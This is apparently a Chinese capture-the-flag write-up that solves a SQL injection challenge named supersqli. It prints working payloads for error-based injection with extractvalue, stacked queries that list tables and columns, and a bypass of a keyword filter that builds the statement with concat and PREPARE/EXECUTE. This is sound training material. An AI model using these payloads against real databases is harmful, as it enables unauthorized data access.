web5_supersqli
原题链接
key:报错函数+SQL堆叠注入+命令拼接
①题目打开后是这个样子的????
再根据题目描述????
大概率是道SQL注入题
②像bkctf里的那道SQL注入题一样
先把默认的inject=1提交一下
提交inject=1'回显错误,猜测是单引号闭合
提交inject=1'#回显正常,说明是单引号闭合
③一样的操作,用order by判断联合注入的字段数
提交inject=1' order by 2#,回显正常
提交inject=1' order by 3#,回显错误
说明字段数是2
④然后就可以试试能不能进行联合查询注入了
提交inject=1' union select 1,2#后返回了这玩意????
显然是正则表达式preg_match()过滤了select等关键语句
这样就无法进行查数据了,而且这里的/i就是忽略了大小写,所以大小写绕过也没用
又试了试双写绕过,结果还是一样,orz
⑤去网上查了查别的思路
可以先通过报错函数,把数据库给注入出来
提交一下????
1' and extractvalue(1,concat(1,version()))#
可知版本信息:.18-MariaDB
提交????
-1' and extractvalue(1,concat(1,database()))#
数据库名称:supersqli
⑥经过测试发现这里可以执行多条语句,也就是堆叠注入
查一下这个数据库有多少表????
1';use supersqli;show tables#
第一张表:words,第二张表:words1
查询表words的列名????
1';show columns from`words`;#
⑦如何在被禁用select等语句的情况下完成爆字段?
我们可以选择执行字符串拼接后的指令????
1';use supersqli;set @sql=concat('s','elect `id` from `words`');prepare sql_query from @sql;execute sql_query;#
字符串为表名操作时要加反引号,即数字键盘1的左边按键
发现还有一层strstr()过滤,但strstr()不能区分大小写,大写或者混写一下就可以了????
1';use supersqli;set @sql=concat('s','elect `id` from `words`');PREPARE sql_query FROM @sql;EXECUTE sql_query;#
知识补充
mysql中Prepare、execute、deallocate的使用方法
简单点说,这里@是定义一个用户自定义变量的意思
PREPARE是预处理,这里预处理语句必须大写
格式就是PREPARE sql_query from @sql_query;execute sql_query;
回显页面得到flag